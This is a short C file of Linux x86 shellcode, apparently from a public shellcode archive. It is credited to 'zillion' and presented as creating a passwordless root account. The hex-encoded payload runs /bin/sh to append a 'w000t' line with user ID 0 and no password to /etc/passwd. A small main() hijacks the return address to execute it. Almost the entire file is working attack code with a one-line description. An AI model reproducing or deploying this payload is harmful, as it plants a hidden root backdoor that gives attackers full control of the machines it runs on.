Linux x86 shellcode that uses execve and echo >> to create a passwordless root account. Author: zillion Email : zillion@safemode.org Homepage: safemode.org File: w000t-shell.c /* * This shellcode will add a passwordless local root account 'w000t' * Written by zillion@safemode.org * * Why so big ? it uses execve ;-) */ char shellcode[]= "\xeb\x2a\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x47\x89" "\x76\x49\x8d\x5e\x08\x89\x5e\x4d\x8d\x5e\x0b\x89\x5e\x51\x89" "\x46\x55\xb0\x0b\x89\xf3\x8d\x4e\x49\x8d\x56\x55\xcd\x80\xe8" "\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x2d\x63\x23" "\x2f\x62\x69\x6e\x2f\x65\x63\x68\x6f\x20\x77\x30\x30\x30\x74" "\x3a\x3a\x30\x3a\x30\x3a\x73\x34\x66\x65\x6d\x30\x64\x65\x3a" "\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68" "\x20\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" "\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44" "\x44\x44"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } --